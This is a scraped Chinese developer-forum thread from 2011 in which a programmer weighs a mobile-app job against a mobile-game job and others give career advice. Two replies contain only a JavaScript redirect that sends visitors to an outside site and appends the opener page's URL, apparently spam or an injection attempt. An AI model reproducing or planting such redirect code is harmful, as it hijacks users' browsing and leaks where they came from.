手机应用和手机游戏那个发展方向好

canny38 2011-08-22 12:35:13
我之前做手机应用的,现在有两个岗位,一个是手机应用,一个是手机游戏,还是同一个公司不同team的......
不考虑个人兴趣的话,两个方向有什么优缺点吗?

我知道的,手机游戏的技术要求高些(对方好像也愿意给学习机会)。
但是从我收到的面试通知来看,手机应用的应用面要广些,而且我长远打算是转到android去做整机......游戏貌似专业性强些,不知道会不会就方向定死了.....
...全文
467 16 打赏 收藏 转发到动态 举报
写回复
用AI写文章
16 条回复
切换为时间正序
请发表友善的回复…
发表回复
canny38 2011-10-10
  • 打赏
  • 举报
回复
谢谢大家,我现在跑去做游戏了..........
www6677ppqq 2011-09-09
  • 打赏
  • 举报
回复
location.href='http://www.witshot.com/skill/skillmain.html?Welcome=26?'+opener.location.href;]wwww
www6677ppqq 2011-09-09
  • 打赏
  • 举报
回复
:location.href='http://www.witshot.com/skill/skillmain.html?Welcome=26?'+opener.location.href;wwww
canny38 2011-08-25
  • 打赏
  • 举报
回复
顶一下
fxhbeyond 2011-08-23
  • 打赏
  • 举报
回复
mark 同求
canny38 2011-08-23
  • 打赏
  • 举报
回复
再顶一下
小笨熊 2011-08-23
  • 打赏
  • 举报
回复
其实都可以,主要看兴趣。
神之泪花 2011-08-23
  • 打赏
  • 举报
回复
个人感觉有戏更有钱途
我目前在安卓应用中,
canny38 2011-08-22
  • 打赏
  • 举报
回复
定一下看看大家的意见......
TORSA 2011-08-22
  • 打赏
  • 举报
回复
说得不错啊~~
本人也做过wm和anroid,深有体会。
canny38 2011-08-22
  • 打赏
  • 举报
回复
哦,我的长远打算是嵌入式应用和移动互联网方向,所以平台只是接入点而已,说过时的话,我觉得嵌入式整个大方向和消费电子产品的市场不会过时,其实我现在觉得最好是该一开始就做嵌入式linux,慢慢积累,但是不幸我去做了2年MTK/Mstar的表层,现在也只好慢慢找机会转了,android是一个切入口........但是现在我必须安心做好ios.......

说实话,我看了几个平台,除了长期做过的mtk/mstar/ios,外,还有wm的mfc,symbian和qt也略有涉及......其实平台和语言的间隔对于一个pro-programer来说不是那么大,很多时候你到新平台上面是去寻找你需要的东西,socket/xml。json解析/thread or task/fs/data base,如此而已,甚至差异最大的UI lib也是如此,自定义table item, view flow, 常用的widget...etc......

大家不要把平台依赖看得很重,很多时候这在于公司的短视,是否愿意给予机会,而不是我们自我设限......



net_time 2011-08-22
  • 打赏
  • 举报
回复
羡慕羡慕羡慕啊
mingpei0703 2011-08-22
  • 打赏
  • 举报
回复
个人觉得游戏好些,因为游戏永远有市场,有玩家,现在android的确火,很多人因为它火而盲目的投身其中,哪天出款其他的系统,靠android的都会死得很惨,现在塞班的日子就不好过了,再就是觉得现在已经过了最好时机了,在早几年可能就不一样的!
canny38 2011-08-22
  • 打赏
  • 举报
回复
我现在是在iphone app和游戏间选择,长远的打算是去做android的整机......
----大漠---- 2011-08-22
  • 打赏
  • 举报
回复
我也在考虑游戏还是安桌。
sommy 2011-08-22
  • 打赏
  • 举报
回复
Android 内核的话 非常值得去

应用和游戏比起来 游戏更好
内容概要:本文系统研究了基于CNN-SVM的卷积神经网络与支持向量机融合的数据分类预测方法,聚焦其在工业故障识别中的应用,提供了完整的Matlab代码实现。通过CNN提取输入数据的深层空间特征,再由SVM进行高精度分类,充分发挥两者优势,有效提升了故障识别的准确性、鲁棒性与泛化能力。该方法特别适用于处理电力系统、机械设备等领域的高维、非线性、强噪声监测数据,在变压器故障诊断、轴承缺陷识别等场景中具有重要应用价值。文档还整合了机器学习、深度学习、图像处理、路径规划、电力系统优化等多个前沿科研方向的技术资源,配套大量Matlab/Simulink仿真案例与Python代码,全面支持科研复现与工程实践。; 适合人群:具备一定编程基础,熟练掌握Matlab或Python语言,从事电气工程、自动化、人工智能、机械故障诊断等相关领域研究的研发人员及高校研究生; 使用场景及目标:① 实现工业设备的状态监测与多类别故障分类;② 深入理解CNN与SVM融合模型的设计原理与工程实现细节;③ 借助所提供的丰富算法案例开展科研复现、模型优化与系统仿真验证; 阅读建议:建议按照文档目录结构系统化学习,结合百度网盘提供的完整代码资源进行动手实践,重点关注CNN特征提取层与SVM分类器之间的数据接口设计与参数调优策略,同时可延伸学习文中涉及的其他智能算法及其在电力系统、信号处理等领域的交叉应用,全面提升科研创新能力。

701

社区成员

发帖
与我相关
我的任务
社区描述
提出问题
其他 技术论坛(原bbs)
社区管理员
  • community_281
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧